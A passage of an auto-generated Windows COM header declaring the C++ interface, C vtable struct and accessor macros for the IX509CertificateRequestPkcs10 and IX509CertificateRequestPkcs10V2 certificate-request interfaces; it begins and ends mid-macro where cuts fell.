IX509CertificateRequestPkcs10_InitializeFromTemplateName(This,Context,strTemplateName)\t\\\n    ( (This)->lpVtbl -> InitializeFromTemplateName(This,Context,strTemplateName) ) \n\n#define IX509CertificateRequestPkcs10_InitializeFromPrivateKey(This,Context,pPrivateKey,strTemplateName)\t\\\n    ( (This)->lpVtbl -> InitializeFromPrivateKey(This,Context,pPrivateKey,strTemplateName) ) \n\n#define IX509CertificateRequestPkcs10_InitializeFromPublicKey(This,Context,pPublicKey,strTemplateName)\t\\\n    ( (This)->lpVtbl -> InitializeFromPublicKey(This,Context,pPublicKey,strTemplateName) ) \n\n#define IX509CertificateRequestPkcs10_InitializeFromCertificate(This,Context,strCertificate,Encoding,InheritOptions)\t\\\n    ( (This)->lpVtbl -> InitializeFromCertificate(This,Context,strCertificate,Encoding,InheritOptions) ) \n\n#define IX509CertificateRequestPkcs10_InitializeDecode(This,strEncodedData,Encoding)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,strEncodedData,Encoding) ) \n\n#define IX509CertificateRequestPkcs10_CheckSignature(This,AllowedSignatureTypes)\t\\\n    ( (This)->lpVtbl -> CheckSignature(This,AllowedSignatureTypes) ) \n\n#define IX509CertificateRequestPkcs10_IsSmartCard(This,pValue)\t\\\n    ( (This)->lpVtbl -> IsSmartCard(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10_get_TemplateObjectId(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_TemplateObjectId(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10_get_PublicKey(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_PublicKey(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10_get_PrivateKey(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_PrivateKey(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10_get_NullSigned(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_NullSigned(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10_get_ReuseKey(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ReuseKey(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10_get_OldCertificate(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_OldCertificate(This,Encoding,pValue) ) \n\n#define IX509CertificateRequestPkcs10_get_Subject(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_Subject(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10_put_Subject(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_Subject(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10_get_CspStatuses(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CspStatuses(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10_get_SmimeCapabilities(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_SmimeCapabilities(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10_put_SmimeCapabilities(This,Value)\t\\\n    ( (This)->lpVtbl -> put_SmimeCapabilities(This,Value) ) \n\n#define IX509CertificateRequestPkcs10_get_SignatureInformation(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_SignatureInformation(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10_get_KeyContainerNamePrefix(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_KeyContainerNamePrefix(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10_put_KeyContainerNamePrefix(This,Value)\t\\\n    ( (This)->lpVtbl -> put_KeyContainerNamePrefix(This,Value) ) \n\n#define IX509CertificateRequestPkcs10_get_CryptAttributes(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CryptAttributes(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10_get_X509Extensions(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_X509Extensions(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10_get_CriticalExtensions(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CriticalExtensions(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10_get_SuppressOids(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_SuppressOids(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10_get_RawDataToBeSigned(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawDataToBeSigned(This,Encoding,pValue) ) \n\n#define IX509CertificateRequestPkcs10_get_Signature(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_Signature(This,Encoding,pValue) ) \n\n#define IX509CertificateRequestPkcs10_GetCspStatuses(This,KeySpec,ppCspStatuses)\t\\\n    ( (This)->lpVtbl -> GetCspStatuses(This,KeySpec,ppCspStatuses) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509CertificateRequestPkcs10_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509CertificateRequestPkcs10V2_INTERFACE_DEFINED__\n#define __IX509CertificateRequestPkcs10V2_INTERFACE_DEFINED__\n\n/* interface IX509CertificateRequestPkcs10V2 */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509CertificateRequestPkcs10V2;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab35b-217d-11da-b2a4-000e7bbb2b09\")\n    IX509CertificateRequestPkcs10V2 : public IX509CertificateRequestPkcs10\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE InitializeFromTemplate( \n            /* [in] */ X509CertificateEnrollmentContext context,\n            /* [in] */ __RPC__in_opt IX509EnrollmentPolicyServer *pPolicyServer,\n            /* [in] */ __RPC__in_opt IX509CertificateTemplate *pTemplate) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeFromPrivateKeyTemplate( \n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in_opt IX509PrivateKey *pPrivateKey,\n            /* [in] */ __RPC__in_opt IX509EnrollmentPolicyServer *pPolicyServer,\n            /* [in] */ __RPC__in_opt IX509CertificateTemplate *pTemplate) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeFromPublicKeyTemplate( \n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in_opt IX509PublicKey *pPublicKey,\n            /* [in] */ __RPC__in_opt IX509EnrollmentPolicyServer *pPolicyServer,\n            /* [in] */ __RPC__in_opt IX509CertificateTemplate *pTemplate) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_PolicyServer( \n            /* [retval][out] */ __RPC__deref_out_opt IX509EnrollmentPolicyServer **ppPolicyServer) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Template( \n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateTemplate **ppTemplate) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509CertificateRequestPkcs10V2Vtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509CertificateRequestPkcs10V2 * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context);\n        \n        HRESULT ( STDMETHODCALLTYPE *Encode )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *ResetForEncode )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetInnerRequest )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [in] */ InnerRequestLevel Level,\n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateRequest **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Type )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [retval][out] */ __RPC__out X509RequestType *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_EnrollmentContext )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [retval][out] */ __RPC__out X509CertificateEnrollmentContext *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Silent )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Silent )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ParentWindow )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_ParentWindow )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [in] */ LONG Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_UIContextMessage )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_UIContextMessage )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SuppressDefaults )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_SuppressDefaults )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RenewalCertificate )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_RenewalCertificate )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ClientId )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [retval][out] */ __RPC__out RequestClientInfoClientId *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_ClientId )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [in] */ RequestClientInfoClientId Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CspInformations )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt ICspInformations **ppValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_CspInformations )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [in] */ __RPC__in_opt ICspInformations *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_HashAlgorithm )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_HashAlgorithm )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [in] */ __RPC__in_opt IObjectId *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_AlternateSignatureAlgorithm )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_AlternateSignatureAlgorithm )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromTemplateName )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in BSTR strTemplateName);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *InitializeFromPrivateKey )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in_opt IX509PrivateKey *pPrivateKey,\n            /* [in] */ __RPC__in BSTR strTemplateName);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromPublicKey )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in_opt IX509PublicKey *pPublicKey,\n            /* [in] */ __RPC__in BSTR strTemplateName);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromCertificate )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in BSTR strCertificate,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [defaultvalue][in] */ X509RequestInheritOptions InheritOptions);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [in] */ __RPC__in BSTR strEncodedData,\n            /* [defaultvalue][in] */ EncodingType Encoding);\n        \n        HRESULT ( STDMETHODCALLTYPE *CheckSignature )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [defaultvalue][in] */ Pkcs10AllowedSignatureTypes AllowedSignatureTypes);\n        \n        HRESULT ( STDMETHODCALLTYPE *IsSmartCard )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_TemplateObjectId )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_PublicKey )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509PublicKey **ppValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_PrivateKey )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509PrivateKey **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_NullSigned )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ReuseKey )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_OldCertificate )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Subject )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX500DistinguishedName **ppValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_Subject )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [in] */ __RPC__in_opt IX500DistinguishedName *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CspStatuses )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt ICspStatuses **ppValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_SmimeCapabilities )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_SmimeCapabilities )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SignatureInformation )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509SignatureInformation **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_KeyContainerNamePrefix )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_KeyContainerNamePrefix )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CryptAttributes )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt ICryptAttributes **ppValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_X509Extensions )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509Extensions **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CriticalExtensions )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectIds **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SuppressOids )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectIds **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawDataToBeSigned )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Signature )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetCspStatuses )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [in] */ X509KeySpec KeySpec,\n            /* [retval][out] */ __RPC__deref_out_opt ICspStatuses **ppCspStatuses);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromTemplate )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [in] */ X509CertificateEnrollmentContext context,\n            /* [in] */ __RPC__in_opt IX509EnrollmentPolicyServer *pPolicyServer,\n            /* [in] */ __RPC__in_opt IX509CertificateTemplate *pTemplate);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromPrivateKeyTemplate )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in_opt IX509PrivateKey *pPrivateKey,\n            /* [in] */ __RPC__in_opt IX509EnrollmentPolicyServer *pPolicyServer,\n            /* [in] */ __RPC__in_opt IX509CertificateTemplate *pTemplate);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromPublicKeyTemplate )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in_opt IX509PublicKey *pPublicKey,\n            /* [in] */ __RPC__in_opt IX509EnrollmentPolicyServer *pPolicyServer,\n            /* [in] */ __RPC__in_opt IX509CertificateTemplate *pTemplate);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_PolicyServer )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509EnrollmentPolicyServer **ppPolicyServer);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Template )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateTemplate **ppTemplate);\n        \n        END_INTERFACE\n    } IX509CertificateRequestPkcs10V2Vtbl;\n\n    interface IX509CertificateRequestPkcs10V2\n    {\n        CONST_VTBL struct IX509CertificateRequestPkcs10V2Vtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509CertificateRequestPkcs10V2_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509CertificateRequestPkcs10V2_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509CertificateRequestPkcs10V2_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509CertificateRequestPkcs10V2_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509CertificateRequestPkcs10V2_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509CertificateRequestPkcs10V2_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509CertificateRequestPkcs10V2_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509CertificateRequestPkcs10V2_Initialize(This,Context)\t\\\n    ( (This)->lpVtbl -> Initialize(This,Context) ) \n\n#define IX509CertificateRequestPkcs10V2_Encode(This)\t\\\n    ( (This)->lpVtbl -> Encode(This) ) \n\n#define IX509CertificateRequestPkcs10V2_ResetForEncode(This)\t\\\n    ( (This)->lpVtbl -> ResetForEncode(This) ) \n\n#define IX509CertificateRequestPkcs10V2_GetInnerRequest(This,Level,ppValue)\t\\\n    ( (This)->lpVtbl -> GetInnerRequest(This,Level,ppValue) ) \n\n#define IX509CertificateRequestPkcs10V2_get_Type(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Type(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V2_get_EnrollmentContext(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_EnrollmentContext(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V2_get_Silent(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Silent(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V2_put_Silent(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Silent(This,Value) ) \n\n#define IX509CertificateRequestPkcs10V2_get_ParentWindow(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ParentWindow(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V2_put_ParentWindow(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ParentWindow(This,Value) ) \n\n#define IX509CertificateRequestPkcs10V2_get_UIContextMessage(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_UIContextMessage(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V2_put_UIContextMessage(This,Value)\t\\\n    ( (This)->lpVtbl -> put_UIContextMessage(This,Value) ) \n\n#define IX509CertificateRequestPkcs10V2_get_SuppressDefaults(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_SuppressDefaults(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V2_put_SuppressDefaults(This,Value)\t\\\n    ( (This)->lpVtbl -> put_SuppressDefaults(This,Value) ) \n\n#define IX509CertificateRequestPkcs10V2_get_RenewalCertificate(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RenewalCertificate(This,Encoding,pValue) ) \n\n#define IX509CertificateRequestPkcs10V2_put_RenewalCertificate(This,Encoding,Value)\t\\\n    ( (This)->lpVtbl -> put_RenewalCertificate(This,Encoding,Value) ) \n\n#define IX509CertificateRequestPkcs10V2_get_ClientId(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ClientId(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V2_put_ClientId(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ClientId(This,Value) ) \n\n#define IX509CertificateRequestPkcs10V2_get_CspInformations(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CspInformations(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10V2_put_CspInformations(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_CspInformations(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V2_get_HashAlgorithm(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_HashAlgorithm(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10V2_put_HashAlgorithm(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_HashAlgorithm(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V2_get_AlternateSignatureAlgorithm(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_AlternateSignatureAlgorithm(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V2_put_AlternateSignatureAlgorithm(This,Value)\t\\\n    ( (This)->lpVtbl -> put_AlternateSignatureAlgorithm(This,Value) ) \n\n#define IX509CertificateRequestPkcs10V2_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n\n#define IX509CertificateRequestPkcs10V2_InitializeFromTemplateName(This,Context,strTemplateName)\t\\\n    ( (This)->lpVtbl -> InitializeFromTemplateName(This,Context,strTemplateName) ) \n\n#define IX509CertificateRequestPkcs10V2_InitializeFromPrivateKey(This,Context,pPrivateKey,strTemplateName)\t\\\n    ( (This)->lpVtbl -> InitializeFromPrivateKey(This,Context,pPrivateKey,strTemplateName) ) \n\n#define IX509CertificateRequestPkcs10V2_InitializeFromPublicKey(This,Context,pPublicKey,strTemplateName)\t\\\n    ( (This)->lpVtbl -> InitializeFromPublicKey(This,Context,pPublicKey,strTemplateName) ) \n\n#define IX509CertificateRequestPkcs10V2_InitializeFromCertificate(This,Context,strCertificate,Encoding,InheritOptions)\t\\\n    ( (This)->lpVtbl -> InitializeFromCertificate(This,Context,strCertificate,Encoding,InheritOptions) ) \n\n#define IX509CertificateRequestPkcs10V2_InitializeDecode(This,strEncodedData,Encoding)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,strEncodedData,Encoding) ) \n\n#define IX509CertificateRequestPkcs10V2_CheckSignature(This,AllowedSignatureTypes)\t\\\n    ( (This)->lpVtbl -> CheckSignature(This,AllowedSignatureTypes) ) \n\n#define IX509CertificateRequestPkcs10V2_IsSmartCard(This,pValue)\t\\\n    ( (This)->lpVtbl -> IsSmartCard(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V2_get_TemplateObjectId(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_TemplateObjectId(This,ppValue) ) \n\n#define 